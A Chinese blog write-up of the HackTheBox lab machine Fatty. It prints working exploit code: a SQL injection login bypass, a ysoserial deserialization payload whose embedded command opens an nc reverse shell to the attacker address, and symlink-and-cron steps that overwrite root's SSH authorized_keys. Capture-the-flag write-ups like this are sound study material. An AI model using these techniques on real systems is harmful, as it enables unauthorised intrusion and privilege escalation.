抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

Faaty 是htb这周刚退役的靶机。本来一周前自己打算下手试试的,不过做了一会发现因为即将退役就干脆搁置等ippsec出视频自己再做233. 不过整体来说这台靶机真的非常有趣。并且涉及到大量的java知识。在这一次实际操作中自己才真正体会到前段时间巩固java开发的基础知识有多么重要。因此这里记录下具体操作的流程,将学到的新知识巩固一下。

当然。这次实际操作途中还是有一处困扰着我的地方没有找到好的答案。就是idea中能否重新导入单个java文件并修改引入jar包中class的内容。

  • 靶机ip: 10.10.10.174
  • 攻击机: 10.10.14.25

initial-foothold to user

首先nmap简单扫的结果只有21,22端口。21端口允许匿名登录。其中有4个文件。一个jar包与三个note

note.txt

Dear members, 
because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice if you use different servers from day to day to balance the server load. 
We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of doing it yourself ;)
Best regards, qtc

从这里我们可以看到。远程应该开放了1337,1338,1339端口来作为服务端。然后我们自己用jar包当客户端。

同时这里涉及到一个java thick client的概念。简单说就是数据处理有很大一部分由客户端完成。

note2

Dear members, 
we are currently experimenting with new java layouts. The new client uses a static layout. If your are using a tiling window manager or only have a limited screen size, try to resize the client window until you see the login from.
Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11 per default, you may need to install it manually.
Best regards, qtc

note2 提示我们使用java8.

note3

Dear members, 
We had to remove all other user accounts because of some seucrity issues. Until we have fixed these issues, you can use my account:
User: qtc Pass: clarabibi
Best regards, qtc

note3则直接提供给我们一组可行的账号。至此note已经看完。ftp服务上还剩下一个fatty-client.jar。我们下载下来进行审计

开始我是直接拿到本机的idea上看jar包的。首先结构上应该是spring框架编写功能+swing组件编写gui。但是并没有太大收获。比如常见如readObject这样的反序列化函数我并没有见到。但是却有writeObject存在。说明可能readObject这一操作是在服务端进行的。那么我们还是先尝试直接使用这个jar包。看看哪里有漏洞可寻。

首先注意,题目要求环境java8。所以kali可以很好的解决这个问题。我们直接使用/usr/lib/jvm/java-8-openjdk-amd64/bin/java调用jar包即可。

从界面以及源码都能看出来这是一个用java swing组件写出来的gui界面。

首先尝试登录。但不出所料果然回显Connection Error。这点我们从jar包的beans.xml可以看出

<?xml version = "1.0" encoding = "UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
                http://www.springframework.org/schema/beans     
                spring-beans-3.0.xsd">

<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
     constructor function. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>
   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<!--  For out final bean we use now again constructor injection. Notice that we use now ref instead of val -->
   <bean id="connection" class = "htb.fatty.client.connection.Connection">
      <constructor-arg index = "0" ref = "connectionContext"/>
      <constructor-arg index = "1" ref = "trustedFatty"/>
      <constructor-arg index = "2" ref = "secretHolder"/>
   </bean>
</beans>

bean的配置中存在server.fatty.htb 并配置端口8000.因此我们需要将这个hostname加入/etc/hosts.不过此处我们有两种方法。一种是直接更改jar包并重新使用。另一种是使用代理转发下流量。我因为偷懒选择了第二种。

即,在hosts 文件中设置为127.0.0.1 server.fatty.htb并使用socat转发本地8000的流量到10.10.10.147:1337上

socat TCP-LISTEN:8000,fork TCP:10.10.10.174:1337

当然。第一种方法也是可行的。但是实际非常麻烦。假如我们只是解压jar包,更改beans.xml再重新压缩位jar包的话
jar -uf fatty-client.jar beans.xml
再次运行将会发现出现java security problems。为什么呢?这是因为整个jar包中有部分配置文件会因为sha256变化的beans.xml出错,这跟java seal 的操作有关。一旦相关文件变化,将导致抛出Sealing Violation。所以我们必须删掉内容中记录了sha256值的文件并设定配置。

操作方法
METAINF/MANIFEST.MF 中底下所有sha256相关内容全部去掉,同时上面设置中Sealed: True这一行去掉。

Manifest-Version: 1.0 
Archiver-Version: Plexus Archiver 
Built-By: root 
Created-By: Apache Maven 3.3.9 
Build-Jdk: 1.8.0_232 
Main-Class: htb.fatty.client.run.Starter

接着删掉META-INF/1.RSA META-INF/1.SF 两个同样含有sha256值的文件。重新更新jar包文件即可。(或者直接zip打包)

当然。虽然我开始没有进行这步操作,后面还是一样要做的。

然后现在我们可以跟服务进行交互了。
使用直接note中qtc:clarabibi成功登录后。试了一下几个操作发现还是没有什么收获。我们所在的用户组有ping,whoami,configs这样几个操作。其中configs执行的似乎是服务端列目录的工作。gui底下有一个按钮open,可以输入对应文件名读取服务端目录的文件。尝试open功能时fuzz触发了报错

似乎..这样的操作可以进行一,两层路径穿越。但是并不能达成任意列目录。因为它过滤了../..

看了下源码。列目录对应的应该是这里
Invoker中的showfiles

public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {
    }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    } else {
        this.action = new ActionMessage(this.sessionID, "files");
        this.action.addArgument(folder);
        this.sendAndRecv();
        return this.response.hasError() ? "Error: Your action caused an error on the application server!" : this.response.getContentAsString();
    }
}

而我们gui中对应configs的操作是


可见。此处原本设定了目录为configs.但倘若我们修改其为..是否就能路径穿越了呢?不妨一试。
参照ippsec视频,这里我们为了方便节省手动操作时间,而不是反复修改源码重新build jar包(然而打脸了,后面重新build了两次……)不如直接导入jar包并编写exp.

于是这里我去下了一个linux 上的idea.不得不吐槽配置ide环境居然也出了小问题 => idea无法自动识别/usr/lib/jvm中的jdk.必须执行sudo apt-get install openjdk-8-jdk后。idea才能自动识别jvm中的java8.

我们创建一个环境为java8的工程。并在library中导入fatty-client.jar。

按照ippsec的思路简单写一个利用exp

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

import java.io.IOException;

public class exploit {
    public static void main(String[] args) throws  IOException{
        Connection conn = null;
        try {
            conn = Connection.getConnection();
        }catch(Exception e){
            System.out.println("[-] connection failed"+e.getMessage());
            System.exit(1);
        }
        System.out.println("[+] Successfully connected");

        User user=new User("qtc","clarabibi");

        if(conn.login(user)){
            System.out.println("[+] Successfully logged in");
        }else{
            System.out.println("[-] Login failed");
        }
        String rolename=conn.getRoleName();
        user.setRoleByName(rolename);
        System.out.println("[+] rolename is: "+rolename);

        /*
        Invoker invoker =new Invoker(conn,user);
        String response="";
        try {
            response=invoker.showFiles("..");
        } catch (MessageParseException e) {
            e.printStackTrace();
        } catch (MessageBuildException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("Server response:\n"+ response);
        */
    }
}

这样我们就能通过java代码来跟服务端交互了。同时比较方便的是。我们可以直接修改传入的值来节省时间
比如上面代码注释的部分即是invoker调用showFiles方法并获取回显。并且我们直接就可以修改传入的参数为..进行路径穿越.得到以下文件。
(try catch 直接用idea快捷键添加即可。非常方便)

Server response:
logs
tar
start.sh
fatty-server.jar
files

接下来使用open方法读文件。我们把invoker调用的方法改为open("..","start.sh")

#!/bin/sh

# Unfortunately alpine docker containers seems to have problems with services.
# I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, 
# both services are now started as part of the docker startup script.


# Start cron service
crond -b

# Start ssh server
/usr/sbin/sshd

# Start Java application server
su - qtc /bin/sh -c "java -jar /opt/fatty/fatty-server.jar"

看来服务端运行的就是fatty-server.jar了.为了搞清楚服务端究竟做了什么操作。比如为什么我们用户组user权限有些方法调用不了,要怎么变为admin权限。服务端是否又调用了readObject呢?这些都需要对server的源码审计。

然而问题在于。我们并没有办法利用现有的方法获取服务jar包的完整数据。因为open方法调用的是

try {
    response = this.response.getContentAsString();
} catch (Exception var6) {
    response = "Unable to convert byte[] to String. Did you read in a binary file?";
}

即使不知道服务端是怎么读文件的。但是我们知道回显的内容是对this.respoonse调用getContentAsString()来将内容转为字符串。那么读取jar包这种二进制文件时必然会有不可见字符被直接忽视。导致我们获取的文件不完整。那么必须重写open方法。让它能直接将response内容写进本机。

然后这里就是比较头疼的一处了。我知道eclipse可以直接import 现有一个java文件作依赖然后重写调用(前提是执行了前面的unseal过程。即删除了rsa,sf,修改了mf)。但是idea我一直没找到好的调用方法。希望有大佬能教教我idea怎么处理最优…..

总之最后。我选择了直接重写代码再build jar包的方法。虽然有点蠢但是至少可行。首先我们直接获取文件内容并写入。因此在open方法中加入以下代码。

当然直接新创建一个方法写文件并在exp中使用invoker调用也是可以的。

然后就是这次学到的命令行下重新build一个jar包的完整流程

javac -cp fatty-client.jar htb/fatty/client/methods/Invoker.java
mkdir raw 
cp fatty-client.jar raw/fatty-client.jar 
cd raw && unzip fatty-client.jar
......

mv htb/fatty/client/methods/*.class raw/htb/fatty/client/methods/
cd raw && jar -cmf META-INF/MANIFEST.MF fatty.jar .

比较闹心的是。因为之前用idea自动反编译的内容,导致源码的java文件找不到。我还得重新反编译一下jar包……然后修改Invoker.java。


import java.io.FileOutputStream;
......


    public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {
    }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    } else {
        this.action = new ActionMessage(this.sessionID, "open");
        this.action.addArgument(foldername);
        this.action.addArgument(filename);
        this.sendAndRecv();
        FileOutputStream  fos;
        fos = new FileOutputStream("/tmp/fatty-server.jar");
        if (this.response.hasError()) {
            return "Error: Your action caused an error on the application server!";
        } else {
            String response = "";

            try {
                response = this.response.getContentAsString();
            } catch (Exception var6) {
                response = "Unable to convert byte[] to String. Did you read in a binary file?";
            }
            fos.write(this.response.getContent());    
            fos.close(); 
            return response;
        }
    }
}

......

然后就是javac -cp fatty-client.jar htb/fatty/client/methods/Invoker.java.我们会发现htb/fatty/client/methods/下编译好了十几个class。接下来就是解包jar包。转移class文件并重新打包jar的事情了。

idea中导入我们重新改好的jar包。再次执行即可发现能够正常下载了。

下载好30分钟后我们得到了fatty-server.jar。再次审计server源码

这一次很快就能在之前不确定的changePW处看到readObject()方法调用了。也就是说肯定存在反序列化漏洞。

但是注意。把整个源码过一遍后会发现changePW方法对应的methodID 7需要adminrole才能执行。

public static Role getAdminRole() {
    return new Role(0, "admin", new int[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12});
}

public static Role getUserRole() {
    return new Role(0, "user", new int[]{1, 2, 3, 4, 5, 6});
}

public static Role getAnonymous() {
    return new Role(0, "anonymous", new int[0]);
}

所以我们必须找到一个能成为admin role的方法。回到登录那里的方法去审计

public User checkLogin(User user) throws FattyDbSession.LoginException {
    Statement stmt = null;
    ResultSet rs = null;
    User newUser = null;

    try {
        stmt = this.conn.createStatement();
        rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

        try {
            Thread.sleep(3000L);
        } catch (InterruptedException var10) {
            return null;
        }

        if (rs.next()) {
            int id = rs.getInt("id");
            String username = rs.getString("username");
            String email = rs.getString("email");
            String password = rs.getString("password");
            String role = rs.getString("role");
            newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
            if (newUser.getPassword().equalsIgnoreCase(user.getPassword())) {
                return newUser;
            } else {
                throw new FattyDbSession.LoginException("Wrong Password!");
            }
        } else {
            throw new FattyDbSession.LoginException("Wrong Username!");
        }
    } catch (SQLException var11) {
        this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
        this.logger.logError("[-] Exception was: '" + var11.getMessage() + "'");
        return null;
    }
}

很明显。登录的位置存在sql注入。具体流程是:执行sql查询,用查询结果来实例化User类。并且调用了一个针对password的检查newUser.getPassword().equalsIgnoreCase(user.getPassword()

这也就代表简单的万能密码不起作用了。为什么呢?我们来看看User类如何实例化的。直接找构造方法

如果是我们之前那样。直接实例化一个含username,password的User对象。它会检查一个初始化中hash的值是否为false.如果不为false。那么会像上面的构造方法一样将sha256(username+password+'clarabibimakeseverythingsecure')进行比对。
所以如果我们使用' or '1'='1.那么sql语句返回结果自然是qtc的数据。但是

sha256("' or '1'='1" + "' or '1'='1" + "clarabibimakeseverythingsecure") = sha256("qtc"+"clarabibi"+"clarabibimakeseverythingsecure") 

是不成立的。所以我们无法登陆。

但是不要紧。我们可以在这个sql语句里使用union查询返回一个admin用户。因为它是根据查询结果返回数据来实例化User类进而判断role是否为admin的。我们只需要

User user=new User(" abc' UNION SELECT 1,'byc_404','a@b.com','byc_404','admin","byc_404",false);

首先保证User类hash值为false。这样password不会进行sha256赋值。然后由于abc用户不存在。我们union查询返回的值即

1,'byc_404','a@b.com','byc_404','admin'

用户role已经被设为admin了.
此时password与password相同。校验通过

我们更改下exp中user实例化的方法。并且尝试调用admin权限的ipconfig

成功执行。此处还可以从ipconfig中172.28看出来java运行的靶机似乎是docker。

现在我们就可以尝试changePW进行反序列化了。不过同样由于原始changePW方法只传递一个双参数User对象。那么我们还得重写changePW方法。

public String changePW(String payload) throws MessageParseException, MessageBuildException, IOException {
    this.action=new ActionMessage(this.sessionID,"changePW");
    this.action.addArgument(payload);
    this.sendAndRecv();

    return this.response.getContentAsString();
}

更改Invoker源码后,然后就是按照上面的流程重新build jar包了。

重新导入后使用ysoserial生成payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'nc 10.10.14.25 9001 -e /bin/sh' |base64 -w 0

(docker靶机没有bash…alpine靶机通病。所幸有老版本nc)

最终的exp

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

import java.io.IOException;

public class exploit {
    public static void main(String[] args) throws  IOException{
        Connection conn = null;
        try {
            conn = Connection.getConnection();
        }catch(Exception e){
            System.out.println("[-] connection failed: "+ e.getMessage());
            System.exit(1);
        }
        System.out.println("[+] Successfully connected");

        User user=new User(" abc' UNION SELECT 1,'byc_404','a@b.com','byc_404','admin","byc_404",false);

        if(conn.login(user)){
            System.out.println("[+] Successfully logged in");
        }else{
            System.out.println("[-] Login failed");
        }
        String rolename=conn.getRoleName();
        user.setRoleByName(rolename);
        System.out.println("[+] rolename is: "+rolename);


        Invoker invoker =new Invoker(conn,user);
        String response="";
        String payload="rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHm5jIDEwLjEwLjE0LjI1IDkwMDEgLWUgL2Jpbi9zaHQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=";
        try {
            response=invoker.changePW(payload);
        } catch (MessageParseException e) {
            e.printStackTrace();
        } catch (MessageBuildException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("Server response:\n"+ response);


    }
}

接到回显后使用ash -i 2>&1升级tty.(没有python,socat。但是可以用ash)

user qtc done.

小结下,这个部分真心困难。假如我没有看wp的话估计早就在中间某个环节放弃了。但是整体流程下来关于java的一些操作让我受益匪浅。尤其是jar包的部分。当然我也希望能找到重写jar包代码的最佳方案。

privesc to root

接下来的部分就比较简单了。刚刚我们在start.sh中看到执行的命令除了jar以外还有cron的定时任务。查看下文件发现存在/etc/crontabs.back。其中存在备份的cronjob文件

0 * * * * /bin/tar -cf /opt/fatty/tar/logs.tar /opt/fatty/logs/ 

它在定时地将/opt/fatty/logs/ 下的内容打包到/opt/fatty/tar/logs.tar
既然如此我们看看靶机到底对tar文件做了什么

可以看到。fatty本机在每隔一分钟使用scp同步文件。那么假如它是root用户在本机调用scp并且执行解包操作。我们就有办法进行提权

ln -sf /root/.ssh/authorized_keys out/logs.tar
tar -cf logs.tar -C out/ logs.tar 
tar -tvf logs.tar

首先我们创建一个指向root公钥的软链接。并且打包它自己。

可看到此时logs.tar里的内容是一个指向root ssh公钥的软链接。假如我们解压它的话,将得到它本身。
接下来我们把它移动到/opt/fatty/tar/logs.tar.那么此时定时任务指执行的话,将把它转移到本机。并且解包,从而得到一个logs.tar文件,并且它是一个指向公钥的软链接。

接下来。假如我们把docker上的logs.tar换成一个包含我们ssh公钥的文件。那么当cronjob再次执行时,scp会把新的logs.tar 覆盖旧的。而旧的logs.tar是一个指向ssh公钥的软链接

这样的话思路就非常清楚了。在上面执行完logs.tar后执行以下命令

cp logs.tar /opt/fatty/tar/logs.tar 

sleep 60

echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaTnVHUaEL07CrQQoNh1zhTfnl5m6OGd4HPwmutz2ZkEf5fWSXrtMyrlxvNP5mtinS8vlRgEtF4KAsXkFceq4Ga/ahgcYTdcKNFJQiBDz3cC1gu4az4mfdSYGIYav0UAiUel5lWN8SJ8FLUEd1hK85dIMOFLZoKNCO1gm1zOMQFB6A+WVUbchPhLm718YMkAawCHXzxhBEwJuQ1Il7wGWyZaPzuCTR+Dgci4xZDVr7459hfQJpGz7ZmTb9msnlk3Vnd156WnbR95qMkHPlaA0DMKPvs/GjBf2dCREGdfZloTDo6yf/b3Ev9d4n4EiF53nc38jlxLARckbAZwA15DwS15WbOS31ZV/ZOi3YtKSkmA7nMRYoE0QZ5uhRMZySB1FfxtHOkZV+EnXD4WPeZwG23sIpQ3AYjlbuOiybnrK5iuKcf8uclLsvf7ToahPDhZSot2bH8gnS20mcC/sb+uLrkdI85Qn8oCe7OoLeF/QxESa/lIMalSvml6dSvR8ORNk= root@byc404' > /opt/fatty/tar/logs.tar 

rooted.

summary

fatty 作为insane难度的靶机确实”实至名归”。java相关的知识恐怕能在一开始就劝退很多人了。不过幸好自己之前学习了java web的一些基础知识,在这里的实际场景才能发挥作用。一次渗透能学到很多知识,确实值得点赞。

评论